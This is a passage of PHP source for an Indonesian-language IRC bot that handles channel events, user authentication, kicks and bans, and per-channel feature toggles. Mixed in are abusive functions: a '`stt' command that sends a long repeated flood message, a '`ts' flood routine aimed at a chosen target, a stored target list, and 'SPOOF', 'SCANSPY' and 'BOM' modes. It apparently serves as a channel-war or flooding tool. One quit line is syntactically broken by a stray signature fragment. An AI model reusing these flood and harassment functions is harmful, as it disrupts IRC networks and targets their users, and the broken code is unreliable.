$modbot->logoutbot($fsrc[nick]);$modbot->notice($fp,$fsrc[nick],'You`re LogOut On Parting Channel!'); } if($fsrc[nkecil]==strtolower($bot['nick'])){$modbot->destroy_chan($Params[2]);} else{$modbot->del_nickchan($Params[2],$fsrc[nick]);} break; case "KICK": $addchan=str_replace(":","",$Params[2]); $diaseen=strtolower($Params[3]); $asalseen[$diaseen]=time();$asalseen[$diaseen.'chanel']=$addchan;$asalseen[$diaseen.'status']=" 12di kick "; if(strtolower($bot['nick'])==strtolower($Params[3])){ $modbot->destroy_chan($Params[2]); if($systembot['AUTOJOIN'][strtoupper($Params[2])]=='3ON'){sleep(1);$modbot->msg($fp,"Chanserv",'UNBAN '.$Params[2].' '.$bot['nick']);sleep(1);$modbot->join($fp,$Params[2]);} } else{ $modbot->del_nickchan($Params[2],$Params[3]);} break; case "QUIT": $addchan=str_replace(":","",$Params[2]); $diaseen=strtolower($fsrc[nick]); $asalseen[$diaseen]=time();$asalseen[$diaseen.'chanel']="ini";$asalseen[$diaseen.'status']=" 12keluar "; $modbot->change_nickchan($fsrc[nick],""); if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){$modbot->logoutbot($fsrc[nick]);} break; case "NOTICE": if($Params[3]==':PING'){ $modbot->stuf_lag($fp,$fsrc[nick],$Params[4]); } if($Params[3]==':VERSION'){ if($datversi[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){ $vernya=str_replace(chr(1),"",$dText);$vernya=substr($vernya,8); $modbot->msg($fp,$datversi[strtolower($fsrc[nick])]["chan"],'12[8Version12] 7'.$fsrc[nick].' '.$vernya); } unset($datversi[strtolower($fsrc[nick])]["nick"]);unset($datversi[strtolower($fsrc[nick])]["chan"]); } if($Params[3]==':FINGER'){ if($datfinger[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){ $vernya=str_replace(chr(1),"",$dText);$vernya=substr($vernya,7); $modbot->msg($fp,$datfinger[strtolower($fsrc[nick])]["chan"],'15(04Info15) 7'.$fsrc[nick].' '.$vernya); } unset($datfinger[strtolower($fsrc[nick])]["nick"]);unset($datfinger[strtolower($fsrc[nick])]["chan"]); } if($Params[3]==':TIME'){ if($dattime[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){ $timenya=str_replace(chr(1),"",$dText);$timenya=substr($timenya,5); $modbot->msg($fp,$dattime[strtolower($fsrc[nick])]["chan"],'15(04Info15) 7'.$fsrc[nick].' '.$timenya); } unset($dattime[strtolower($fsrc[nick])]["nick"]);unset($dattime[strtolower($fsrc[nick])]["chan"]); } break; case "PRIVMSG": $TxtMsg=substr($DataLine,strpos($DataLine," :")+2); unset($dCom);$dCom=explode(" ", $TxtMsg);$perintah=strtolower($dCom[0]); if($haltfl['on']==0){ if ( $Params[3]==":PING") {$modbot->notice($fp,$fsrc[nick],$TxtMsg);} elseif ($Params[3]==":VERSION") { $ctcpversi=$versbot[rand(0,count($versbot) - 1)];$modbot->notice($fp,$fsrc[nick],chr(1) . 'VERSION '. $ctcpversi . chr(1));} elseif ($Params[3]==":FINGER") { $modbot->notice($fp,$fsrc[nick],chr(1) . 'FINGER '. $ctcpfinger . chr(1));} elseif ($Params[3]==":TIME") { $timetoday = date("D M j H:i:s Y"); $modbot->notice($fp,$fsrc[nick],chr(1) . 'TIME '.$timetoday . chr(1));} } ################ ANTI SLAPS ############ if($Params[3]==':ACTION' && ereg('#',$Params[2]) && $systembot['SLAPS'][strtoupper($Params[2])]=="3ON"){ if(strpos(strtolower($TxtMsg),"slaps") || strpos(strtolower($TxtMsg),"slap")){ foreach ($auth as $ulist) {if($ulist["name"]){if(strpos(strtolower($TxtMsg),strtolower($ulist["name"]))){$onbos=1;}}} if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){$onbos=0;} if($onbos==1){$modbot->kick($fp,$Params[2],$fsrc[nick],$modbot->rnd_slapbos());} elseif($onbos==0){if(strpos(strtolower($TxtMsg),strtolower($bot['nick']))){$modbot->msg($fp,$Params[2],$modbot->rnd_slapampun());}} else{if(strpos(strtolower($TxtMsg),strtolower($bot['nick']))){$modbot->kick($fp,$Params[2],$fsrc[nick],$modbot->rnd_slapme());}} $onbos=2; } } ############ END ANTI SLAPS ############ if (substr($Params[3],0,2)==':`'){ $logok=$modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host]); if (strtolower($dCom[0])=='`auth' && $dCom[1]) { if($logok==1){$modbot->notice($fp,$fsrc[nick],"You`re Already Authorized!");} else{ if($haltfl['on']!=0){sleep(2);}; if($modbot->loginbot($fsrc[nick],$fsrc[user],$fsrc[host],$dCom[1])==1){ $modbot->notice($fp,$fsrc[nick],'You`re Authorized As '.$auth["$fsrc[nkecil]"]["status"].'!'); $modbot->notice($fp,$fsrc[nick],'For help type `help'); $auth["$fsrc[nkecil]"]["ident"]=$fsrc[user];$auth["$fsrc[nkecil]"]["host"]=$fsrc[host]; if($systembot['AUTOAWAY']['ALL']=="3ON" && $inaway['status']==1){$inaway['idle']=time();$inaway['status']=0;$modbot->noaway($fp);} } } } elseif (strtolower($dCom[0])=='`deauth' && $logok==1) { if($modbot->logoutbot($fsrc[nick])==1){$modbot->notice($fp,$fsrc[nick],'You`re LogOut!');} } } elseif (substr($Params[3],0,2)==':`'){ if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])){ if (ereg('#',$Params[2])){$cmdin=1;$target=$Params[2];}else {$cmdin=2;$target=$fsrc[nick];} $getlvl=$modbot->level_user($fsrc[nick]); if($systembot['AUTOAWAY']['ALL']=="3ON" && $inaway['status']==1){$inaway['idle']=time();$inaway['status']=0;$modbot->noaway($fp);} ############### MULTI USER BOT ############## ?? ?? if ($perintah=='`chgpass' && $dCom[1] && $dCom[2]) { $modbot->chgpass_user($fp,$fsrc[nick],$dCom[1],$dCom[2]); } elseif ($perintah=='`adduser' && $dCom[1] && $dCom[1]!=$bot['nick'] && $dCom[2] && $dCom[3] && $getlvl > 1) { $modbot->add_user($fp,$fsrc[nick],$dCom[1],$dCom[2],$dCom[3]); } elseif ($perintah=='`deluser' && $dCom[1] && $getlvl > 1) { $modbot->del_user($fp,$fsrc[nick],$dCom[1]); } ############# END MULTI USER BOT ############ ########## CHANGE SERVER IDENT REALNAME SERVPASS && JUMP ######## elseif ($perintah=='`server' && $dCom[1] && $getlvl > 2){ $bot['server']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging SeRVeR To '. $dCom[1]); } elseif ($perintah=='`servpass' && $dCom[1] && $getlvl > 2){ $bot['pserver']=$dCom[1];$bot['userver']=1; $modbot->notice($fp,$fsrc[nick],'ChANging PassWOrD SeRVeR To '. $dCom[1]); } elseif ($perintah=='`ident' && $dCom[1] && $getlvl > 2){ $bot['ident']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging IdentD To '. $dCom[1]); } elseif ($perintah=='`vhost' && $dCom[1] && $getlvl > 2){ $bot['local']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging VhosT To '. $dCom[1]); } elseif ($perintah=='`realname' && $dCom[1] && $getlvl > 2){ $Rmsg=substr($TxtMsg,10);$Rmsg=ltrim($Rmsg);$bot['realname']=$Rmsg; $modbot->notice($fp,$fsrc[nick],'ChANging ReaLNaMe To '. $Rmsg); } elseif ($perintah=='`jump' && $getlvl > 2){ $keluar = 0;$modbot->quit($fp,$modbot->rnd_logo() .' ReSTaRt bY '.$fsrc[nick]<><(¤PoWereD by No_found¤)); } ########################## END CHG SER IDENT REAL ########################## ################################ #### ################################## elseif ($perintah=='`botnick' && $getlvl > 1) { $modbot->notice($fp,$fsrc[nick],'My Nick Is :'.$bot['nick']); } elseif ($perintah=='`identnick' && $dCom[1] && $dCom[2] && $cmdin==2 && $getlvl > 1){ $bot['inick']=$dCom[1];$bot['pnick'] = $dCom[2]; $modbot->msg($fp,"Nickserv",'identify '.$bot['inick']. ' '. $bot['pnick']); $modbot->msg($fp,"Nickserv",'identify '. $bot['pnick']); $modbot->notice($fp,$fsrc[nick],"Identify nick... to ".$dCom[1]); } elseif ($perintah=='`logoutnick' && $getlvl > 1){ $modbot->msg($fp,"Nickserv","logout");$modbot->notice($fp,$fsrc[nick],"Logout nick"); } elseif ($perintah=='`basechan' && $dCom[1] && $getlvl > 2){ $bchan=$dCom[1];if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; } $modbot->part($fp,$bot['basechan'],$modbot->rnd_logo() . ' BaseChan cHanGE by ' . $frsc[nick]); $bot['basechan']=$bchan;$modbot->join($fp,$bot['basechan']); } elseif ($perintah=='`botchan' && $dCom[1] && $dCom[2] && $getlvl > 3){ $bchan=$dCom[1];if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; } $modbot->part($fp,$bot['roomnet']);$bot['roomnet']=$bchan; $bot['roomkey']=$dCom[2];$modbot->join($fp,$bot['roomnet'],$bot['roomkey']); } elseif ($perintah=='`userlist' && $getlvl > 1) { $modbot->notice($fp,$fsrc[nick],'User List: '.$modbot->user_list($fp,$fsrc[nick])); } elseif ($perintah=='`chanlist' && $getlvl > 2) { $datachan=str_replace(";"," ",$modbot->show_chan());$modbot->notice($fp,$fsrc[nick],$datachan);$datachan="";unset($datachan); } elseif ($perintah=='`nicklist' && $dCom[1] && $getlvl > 2) { $nchan=$dCom[1];if (!ereg("#",$dCom[1])) { $nchan="#".$dCom[1]; } $datanick=explode(" ",$modbot->show_nickchan($nchan)); for ($i = 0; $i <= count($datanick); $i++) { $limitshow++;$lnick_x=$lnick_x.' '.$datanick[$i]; if($limitshow==15){ $lnick_x=ltrim($lnick_x);$lnick_x=rtrim($lnick_x);$modbot->notice($fp,$fsrc[nick],$lnick_x); $limitshow=0;$lnick_x=""; } } $lnick_x=ltrim($lnick_x);$lnick_x=rtrim($lnick_x); if($lnick_x){$modbot->notice($fp,$fsrc[nick],$lnick_x);}$lnick_x=""; unset($lnick_x);unset($datanick); } elseif ($perintah=='`showison' && $getlvl > 2) {$modbot->notice($fp,$fsrc[nick],$modbot->show_ison());} elseif ($perintah=='`chanison' && $getlvl > 2) {$chanson=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChanIson cHanGe To '.$dCom[1]);} elseif ($perintah=='`settimercycle' && $dCom[1] && $getlvl > 2) { $timercy=$dCom[1]; $modbot->notice($fp,$fsrc[nick],'Timer aUtO Cycle cHanGe To '.$dCom[1].' Second'); } elseif ($perintah=='`settimermsg' && $dCom[1] && $getlvl > 2) { $timermsg=$dCom[1]; $modbot->notice($fp,$fsrc[nick],'Timer AutoMsg cHanGe To '.$dCom[1]. ' Second'); } elseif ($perintah=='`settimeract' && $dCom[1] && $getlvl > 2) { $timeract=$dCom[1]; $modbot->notice($fp,$fsrc[nick],'Timer AutoAction cHanGe To '.$dCom[1]. ' Second'); } elseif($perintah=='`setversion' && $dCom[1] && $getlvl > 2){ $Rmsg=substr($TxtMsg,12);$Rmsg=ltrim($Rmsg);$ctcpversi=$Rmsg; $modbot->notice($fp,$fsrc[nick],'VerSIoN cHanGe To '.$ctcpversi); } elseif($perintah=='`setfinger' && $dCom[1] && $getlvl > 2){ $Rmsg=substr($TxtMsg,12);$Rmsg=ltrim($Rmsg);$ctcpfinger=$Rmsg; $modbot->notice($fp,$fsrc[nick],'FiNGeR cHanGe To '.$ctcpfinger); } ################################ #### ################################## ######################### CONTROL BOT ####################### elseif ($perintah=='`up' && $getlvl > 1 && $cmdin==1) { $modbot->msg($fp,"Chanserv",'Op '.$Params[2].' '.$bot['nick']); } elseif ($perintah=='`down' && $getlvl > 1 && $cmdin==1) { $modbot->mode($fp,"+v-ho",$Params[2],$bot['nick'].' '.$bot['nick'].' '.$bot['nick']); } elseif ($perintah=='`o' || $perintah=='`h' || $perintah=='`v' || $perintah=='`do' || $perintah=='`dh' || $perintah=='`dv'){ if ($getlvl > 1){ if ($perintah=='`o' || $perintah=='`h' || $perintah=='`v'){ $moden=strtolower(substr($dCom[0],1));$moden='+'.$moden . $moden . $moden; } elseif ($perintah=='`do' || $perintah=='`dh' || $perintah=='`dv'){ $moden=strtolower(substr($dCom[0],2));$moden='-'.$moden . $moden . $moden; } if ($cmdin==1){$ttarget=$Params[2];$tforce=$dCom[1];$tmore=$dCom[2].' '.$dCom[3];} elseif($cmdin==2){$ttarget=$dCom[1];$tforce=$dCom[2];$tmore=$dCom[3].' '.$dCom[4];} if ($tforce) { $vonick = $tforce; }else { $vonick = $fsrc[nick]; } $modbot->mode($fp,$moden,$ttarget,$vonick.' '.$tmore); } } elseif ($perintah=='`k' || $perintah=='`kb' || $perintah=='`kc') { if($dCom[1] && $getlvl > 1){ if ($cmdin==1){$tdata=$dCom[1];$ttarget=$Params[2];$tkode=$dCom[0].' '.$dCom[1];} elseif($cmdin==2){$tdata=$dCom[2];$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1].' '.$dCom[2];} $msg=substr($TxtMsg,strlen($tkode)+1); $msg=ltrim($msg);$msg=rtrim($msg); if($perintah=='`k'){ $modbot->kick($fp,$ttarget,$tdata,$msg); } elseif($perintah=='`kb'){ $modbot->ban($fp,$ttarget,$tdata);$modbot->kick($fp,$ttarget,$tdata,$msg); } elseif($perintah=='`kc'){$modbot->kickserv($fp,$ttarget,$tdata,$msg);} } } elseif ($perintah=='`b' || $perintah=='`ub') { if($getlvl > 1){ if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];} elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];} $tmode=substr($TxtMsg,strlen($tkode)+1); $tmode=ltrim($tmode);$tmode=rtrim($tmode); if($perintah=='`b'){$modbot->ban($fp,$ttarget,$tmode);} else{$modbot->unban($fp,$ttarget,$tmode);} } } elseif ($perintah=='`j' && $dCom[1]) { $jchan=$dCom[1];if (!ereg("#",$dCom[1])) { $jchan="#".$dCom[1]; } $modbot->join($fp,$jchan,$dCom[2]); } elseif ($perintah=='`max' && $dCom[1]) { $maxkar=$dCom[1]; $modbot->notice($fp,$fsrc[nick],'Maximal karakter sekarang '.$maxkar.'!!!'); } elseif ($perintah=='`flodban' && $dCom[1]) { if(strtolower($dCom[1])=='off'){$floddban="OFF";} if(strtolower($dCom[1])=='on'){$floddban="ON";} $modbot->notice($fp,$fsrc[nick],'flodban skarang '.$floddban.'!!!'); } elseif ($perintah=='`target') { $ngulange=0; do { $ngulange=$ngulange+1; $modbot->msg($fp,$fsrc[nick],$hasiltargetgue[$ngulange]);sleep(1); if($ngulange>=$notarget){$modbot->notice($fp,$fsrc[nick],'udah gk ada boz!!');break; } } while(true); } elseif ($perintah=='`shell' && $dCom[1]) { $shellgue=$dCom[1]."?"; $modbot->notice($fp,$fsrc[nick],'Shell skarang '.$shellgue.'?'); } elseif ($perintah=='`repp' && $dCom[1]) { $makre=$dCom[1]; $Maxreep=$dCom[1]-1; $modbot->notice($fp,$fsrc[nick],'Maximal Repeat sekarang '.$makre.'!!!'); } elseif ($perintah=='`p' && $dCom[1]) { $pchan=$dCom[1]; if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; } $pmsg=substr($TxtMsg,3+strlen($dCom[1])+1); $modbot->part($fp,$pchan,$pmsg); } elseif ($perintah=='`cy' && $dCom[1]) { $pchan=$dCom[1]; if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; } $pmsg=substr($TxtMsg,4+strlen($dCom[1])+1); $modbot->Cycle($fp,$pchan,$pmsg); } elseif ($perintah=='`act' || $perintah=='`say') { if($dCom[1] && $getlvl > 1){ if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];} elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];} $msg=substr($TxtMsg,strlen($tkode)+1); if($perintah=='`act'){$modbot->act($fp,$ttarget,$msg); }else{$modbot->msg($fp,$ttarget,$msg);} } } elseif ($perintah=='`stm' || $perintah=='`stt') { if($dCom[1] && $getlvl > 1){ if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];} elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];} $msg=substr($TxtMsg,strlen($tkode)+1); if($perintah=='`stm'){$modbot->msg($fp,$dCom[1],$msg); }else{ $msg="[]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[]"; $modbot->msg($fp,$dCom[1],$msg); } } } elseif ($perintah=='`away'){ if($dCom[1]){$modbot->away($fp,substr($TxtMsg,6));}else{$modbot->noaway($fp);} } elseif ($perintah=='`n' && $dCom[1]){$modbot->nick($fp,$dCom[1]);} elseif ($perintah=='`q' && $getlvl > 3 ){ $keluar=1;if($dCom[1]){$Qmsg=substr($TxtMsg,3);}$modbot->quit($fp,$Qmsg);$keluar=1;sleep(3);exit; } elseif ($perintah=='`ts' && $dCom[1] && $getlvl > 2){ $modbot->flood($fp,$dCom[1],$TxtMsg); } elseif($perintah=='`help'){ $modbot->mod_help($fp,$fsrc[nick]); } ###################### END CONTROL BOT ##################### ################################ SYSTEM ################################### elseif ($perintah=='`status' && $getlvl > 2 && $cmdin==1 ){ if($dCom[1]){$chan=$dCom[1];} else{$chan=$Params[2];} if (!ereg("#",$chan)){$chan="#".$chan;} $chan=strtoupper($chan); $modb=""; if($systembot['TIME'][$chan]=="3ON"){$modb.=' 4T[i]ME';} if($systembot['ASTRO'][$chan]=="3ON"){$modb.=' 4As[T]Ro';} if($systembot['PING'][$chan]=="3ON"){$modb.=' 4P[i]NG';} if($systembot['BOM'][$chan]=="3ON"){$modb.=' [4B]oM';} if($systembot['WHOIS'][$chan]=="3ON"){$modb.=' 4Wh[O]IS';} if($systembot['GUARD'][$chan]=="3ON"){$modb.=' [4G]uaRd';} if($systembot['GVOICE'][$chan]=="3ON"){$modb.=' [4G]Voice';} if($systembot['JVERSION'][$chan]=="3ON"){$modb.=' [4J]Version';} if($systembot['SEEN'][$chan]=="3ON"){$modb.=' [4S]een';} if($systembot['JAM'][$chan]=="3ON"){$modb.=' [4J]am';} if($systembot['SCANSPY'][$chan]=="3ON"){$modb.=' [4S]py';} if($systembot['BADWORD'][$chan]=="3ON"){$modb.=' [4B]adword';} if($systembot['NGOMONG'][$chan]=="3ON"){$modb.=' [4C]ReWeT';} if($systembot['SPOOF'][$chan]=="3ON"){$modb.=' SPoO[4F]';} if($systembot['KSLANG'][$chan]=="3ON"){$modb.=' [4K]SlaNG';} if($systembot['IP'][$chan]=="3ON"){$modb.=' [4I]p lIsT';} if($systembot['VERSION'][$chan]=="3ON"){$modb.=' V[4E]rSIoN';} if($systembot['FINGER'][$chan]=="3ON"){$modb.=' [4F]iNGeR';} if($systembot['ISON']['ALL']=="3ON"){$modb.=' [4I]soN';} if($systembot['GREET'][$chan]=="3ON"){$modb.=' [4G]rEeT';} if($systembot['AUTOAWAY']['ALL']=="3ON"){$modb.=' AUtoA[4W]ay';} if($systembot['AUTOCYCLE'][$chan]=="3ON"){$modb.=' AuTO[4C]YcLE';} if($systembot['AUTOJOIN'][$chan]=="3ON"){$modb.=' AuTo[4J]oIN';} $modb=ltrim($modb); $modb=rtrim($modb); if($modb==""){$modb="[4TC]L [4eG]gd[4Rop]";} $modbot->act($fp,$Params[2],'iS MODeS '.$modb.' FoR [2'.strtoupper($chan).']'); } elseif (substr($perintah,0,2)=='`+' || substr($perintah,0,2)=='`-'){ if(substr($perintah,1,1)=='+'){$onoff="3ON";}elseif(substr($perintah,1,1)=='-'){$onoff="4OFF";}; $wsys=substr(strtoupper($perintah),2); if($cmdin==1){$targetsys=$Params[2];if($dCom[1]){$targetsys=$dCom[1];}$sysok=1;} elseif($cmdin==2 && $dCom[1]){$targetsys=$dCom[1];$sysok=1;} if (!ereg("#",$targetsys)){$targetsys="#".$targetsys;} if($wsys=='PING' && $sysok==1 && $getlvl > 2){ $systembot['PING'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'PING '. strtoupper($targetsys).' is [4'.strtoupper($systembot['PING'][strtoupper($targetsys)]).']'); } if($wsys=='WHOIS' && $sysok==1 && $getlvl > 2){ $systembot['WHOIS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'WHOIS '. strtoupper($targetsys).' is [4'.strtoupper($systembot['WHOIS'][strtoupper($targetsys)]).']'); } if($wsys=='ALL' && $sysok==1 && $getlvl > 2){ $systembot['PING'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'PING '. strtoupper($targetsys).' is [4'.strtoupper($systembot['PING'][strtoupper($targetsys)]).']'); $systembot['AUTOCYCLE'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOCYCLE '. strtoupper($targetsys).' is [4'.strtoupper($systembot['AUTOCYCLE'][strtoupper($targetsys)]).']'); $systembot['WHOIS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'WHOIS '. strtoupper($targetsys).' is [4'.strtoupper($systembot['WHOIS'][strtoupper($targetsys)]).']'); $systembot['GUARD'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GUARD '. strtoupper($targetsys).' is [4'.strtoupper($systembot['GUARD'][strtoupper($targetsys)]).']'); $systembot['AUTOJOIN'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOJOIN '. strtoupper($targetsys).' is [4'.strtoupper($systembot['AUTOJOIN'][strtoupper($targetsys)]).']'); $systembot['JVERSION'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'JVERSION '. strtoupper($targetsys).' is [4'.strtoupper($systembot['JVERSION'][strtoupper($targetsys)]).']'); $systembot['BOM'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'BOM '. strtoupper($targetsys).' is [4'.strtoupper($systembot['BOM'][strtoupper($targetsys)]).']'); $systembot['GVOICE'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GVOICE '. strtoupper($targetsys).' is [4'.strtoupper($systembot['GVOICE'][strtoupper($targetsys)]).']'); $systembot['SEEN'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SEEN '. strtoupper($targetsys).' is [4'.strtoupper($systembot['SEEN'][strtoupper($targetsys)]).']'); $systembot['BADWORD'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'BADWORD '. strtoupper($targetsys).' is [4'.strtoupper($systembot['BADWORD'][strtoupper($targetsys)]).']'); $systembot['VERSION'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'VERSION '. strtoupper($targetsys).' is [4'.strtoupper($systembot['VERSION'][strtoupper($targetsys)]).']'); $systembot['GREET'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GREET '. strtoupper($targetsys).' is [4'.strtoupper($systembot['GREET'][strtoupper($targetsys)]).']'); $systembot['DNS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'DNS '. strtoupper($targetsys).' is [4'.strtoupper($systembot['DNS'][strtoupper($targetsys)]).']'); $systembot['NGOMONG'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'NGOMONG '. strtoupper($targetsys).' is [4'.strtoupper($systembot['NGOMONG'][strtoupper($targetsys)]).']'); $maxkar=200;$floddban="ON";$Maxreep=2; } if($wsys=='GUARD' && $sysok==1 && $getlvl > 2){ $systembot['GUARD'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GUARD '. strtoupper($targetsys).' is [4'.strtoupper($systembot['GUARD'][strtoupper($targetsys)]).']'); } if($wsys=='JVERSION' && $sysok==1 && $getlvl > 2){ $systembot['JVERSION'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'JVERSION '. strtoupper($targetsys).' is [4'.strtoupper($systembot['JVERSION'][strtoupper($targetsys)]).']'); } if($wsys=='GVOICE' && $sysok==1 && $getlvl > 2){ $systembot['GVOICE'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GVOICE '. strtoupper($targetsys).' is [4'.strtoupper($systembot['GVOICE'][strtoupper($targetsys)]).']'); } if($wsys=='SEEN' && $sysok==1 && $getlvl > 2){ $systembot['SEEN'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SEEN '. strtoupper($targetsys).' is [4'.strtoupper($systembot['SEEN'][strtoupper($targetsys)]).']'); } if($wsys=='SCANSPY' && $sysok==1 && $getlvl > 2){ $systembot['SCANSPY'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SCANSPY '. strtoupper($targetsys).' is [4'.strtoupper($systembot['SCANSPY'][strtoupper($targetsys)]).']'); } if($wsys=='JAM' && $sysok==1 && $getlvl > 2){ $systembot['JAM'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'JAM '. strtoupper($targetsys).' is [4'.strtoupper($systembot['JAM'][strtoupper($targetsys)]).']'); } if($wsys=='BADWORD' && $sysok==1 && $getlvl > 2){ $systembot['BADWORD'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'BADWORD '. strtoupper($targetsys).' is [4'.strtoupper($systembot['BADWORD'][strtoupper($targetsys)]).']'); } if($wsys=='NGOMONG' && $sysok==1 && $getlvl > 2){ $systembot['NGOMONG'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'NGOMONG '. strtoupper($targetsys).' is [4'.strtoupper($systembot['NGOMONG'][strtoupper($targetsys)]).']'); } if($wsys=='VERSION' && $sysok==1 && $getlvl > 2){ $systembot['VERSION'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'VERSION '. strtoupper($targetsys).' is [4'.strtoupper($systembot['VERSION'][strtoupper($targetsys)]).']'); } if($wsys=='TIME' && $sysok==1 && $getlvl > 2){ $systembot['TIME'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'TIME '. strtoupper($targetsys).' is [4'.strtoupper($systembot['TIME'][strtoupper($targetsys)]).']'); } if($wsys=='IP' && $sysok==1 && $getlvl > 2){ $systembot['IP'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'IP '. strtoupper($targetsys).' is [4'.strtoupper($systembot['IP'][strtoupper($targetsys)]).']'); } if($wsys=='FINGER' && $sysok==1 && $getlvl > 2){ $systembot['FINGER'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'FINGER '. strtoupper($targetsys).' is [4'.strtoupper($systembot['FINGER'][strtoupper($targetsys)]).']'); } if($wsys=='ISON' && $sysok==1 && $getlvl > 2){ $systembot['ISON']['ALL']= $onoff;$modbot->notice($fp,$fsrc[nick],'ISON is [4'.strtoupper($systembot['ISON']['ALL']).']'); } if($wsys=='ASTRO' && $sysok==1 && $getlvl > 2){ $systembot['ASTRO'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'ASTRO '. strtoupper($targetsys).' is [4'.strtoupper($systembot['ASTRO'][strtoupper($targetsys)]).']'); } if($wsys=='SPOOF' && $sysok==1 && $getlvl > 2){ $systembot['SPOOF'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SPOOF '. strtoupper($targetsys).' is [4'.strtoupper($systembot['SPOOF'][strtoupper($targetsys)]).']'); } if($wsys=='DNS' && $sysok==1 && $getlvl > 2){ $systembot['DNS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'DNS '. strtoupper($targetsys).' is [4'.strtoupper($systembot['DNS'][strtoupper($targetsys)]).']'); } if($wsys=='BOM' && $sysok==1 && $getlvl > 2){ $systembot['BOM'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'BOM '. strtoupper($targetsys).' is [4'.strtoupper($systembot['BOM'][strtoupper($targetsys)]).']'); } if($wsys=='GREET' && $sysok==1 && $getlvl > 2){ $systembot['GREET'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GREET '. strtoupper($targetsys).' is [4'.strtoupper($systembot['GREET'][strtoupper($targetsys)]).']'); } if($wsys=='SMS' && $sysok==1 && $getlvl > 2){ $systembot['SMS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SMS '. strtoupper($targetsys).' is [4'.strtoupper($systembot['SMS'][strtoupper($targetsys)]).']'); } if($wsys=='SLAPS' && $sysok==1 && $getlvl > 2){ $systembot['SLAPS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SLAPS '. strtoupper($targetsys).' is [4'.strtoupper($systembot['SLAPS'][strtoupper($targetsys)]).']'); } if($wsys=='KSLANG' && $sysok==1 && $getlvl > 2){ $systembot['KSLANG'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'KSLANG '. strtoupper($targetsys).' is [4'.strtoupper($systembot['KSLANG'][strtoupper($targetsys)]).']'); } if($wsys=='AUTOCYCLE' && $sysok==1 && $getlvl > 2){ $systembot['AUTOCYCLE'][strtoupper($targetsys)]= 